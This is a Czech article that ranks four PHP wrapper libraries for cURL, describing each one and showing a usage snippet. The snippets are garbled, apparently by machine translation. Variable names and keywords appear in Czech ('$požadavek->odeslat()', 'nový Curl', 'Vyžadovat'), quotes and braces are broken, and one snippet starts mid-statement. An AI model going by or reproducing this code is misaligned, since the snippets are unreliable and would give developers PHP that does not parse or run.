4. PHP Curl

PHP Curl je velmi jednoduchá PHP Curl wrapper třída pro cURL. Podle autora je tato třída nejmenším možným OOP obalem pro schopnosti PHP curlingu. Všimněte si, že to není míněno jako abstrakce na vysoké úrovni. Měli byste stále vědět, jak "čisté PHP" curl funguje, musíte znát nastavení curl a musíte znát některé základy HTTP. Jeho syntaxe je pro vývojáře přívětivá:

// newRequest, newJsonRequest a newRawRequest vrátí objekt Request $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Accept-Charset", "utf" -8") ->setHeader("Accept-Language", "en-US") ->setOption(CURLOPT_CAINFO, "/cesta/k/cert") ->setOption(CURLOPT_FOLLOWLOCATION, true); $response = $požadavek->odeslat();

3. Curl Easy

Curl Easy je obal pro rozšíření cURL PHP. Podporuje paralelní a neblokující požadavky. Jedná se o malou, ale výkonnou a robustní knihovnu, která vše urychluje. Pokud vás nebaví používat rozšíření PHP cURL s jeho procedurálním rozhraním, ale chcete mít také kontrolu nad prováděním skriptů, je to pro vás skvělá volba. Tato knihovna:

  • široce jednotka testována.
  • lehká knihovna s rozhraním střední úrovně. Není to knihovna vše v jednom.
  • paralelní/asynchronní připojení s velmi jednoduchým rozhraním.
  • paralelní připojení/odpojení požadavků za běhu!
  • podporu pro zpětná volání, takže můžete řídit proces provádění.
  • inteligentní nastavovače jako alternativa ke konstantám CURLOPT_*.
  • pokud znáte rozšíření cURL php, nemusíte se učit věci od začátku

Jeho syntaxe je také docela snadno pochopitelná:

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURNTRANSFER, true); $response = $požadavek->odeslat(); $feed = json_decode($response->getContent(), true); echo "Aktuální cena bitcoinu: ". $feed["data"]["rate"] . " ". $feed["data"]["kód"] . "\n";

2. Curl od Shubera

Curl knihovna je základní CURL wrapper pro PHP. Objekt Curl podporuje 5 typů požadavků: HEAD, GET, POST, PUT a DELETE. Musíte zadat adresu URL, kterou chcete požádat, a volitelně zadat asociativní pole nebo řetězec proměnných, které se mají odeslat spolu s ní. Jednoduše požadujte a inicializujte třídu Curl takto:

Require_once "curl.php"; $curl = nový Curl; $response = $curl->head($url, $vars = array()); $response = $curl->get($url, $vars = array()); # Objekt Curl připojí pole $vars k $url jako řetězec dotazu $response = $curl->post($url, $vars = array()); $response = $curl->put($url, $vars = array()); $response = $curl->delete($url, $vars = array());

1. PHP Curl Class

PHP Curl Class je velmi dobře napsaný obal cURL, který opravdu usnadňuje odesílání požadavků HTTP a integraci s jakýmkoli druhem webových rozhraní API. PHP Curl Class funguje s PHP 5.3, 5.4, 5.5, 5.6, 7.0, 7.1 a HHVM. Tato knihovna je široce známá a nabízí opravdu snadnou syntaxi:

Vyžadovat __DIR__ . "/vendor/autoload.php"; use\Curl\Curl; $curl = new Curl(); $curl->get("https://www.example.com/"); if ($curl->error) ( echo "Chyba: " . $curl->errorCode . ": " . $curl->errorMessage . "\n"; ) else ( echo "Response:" . "\n"; var_dump($curl->response); )

Pokud znáte jinou úžasnou obalovou knihovnu pro rozšíření cURL napsanou v PHP, sdílejte ji prosím s komunitou v poli komentáře.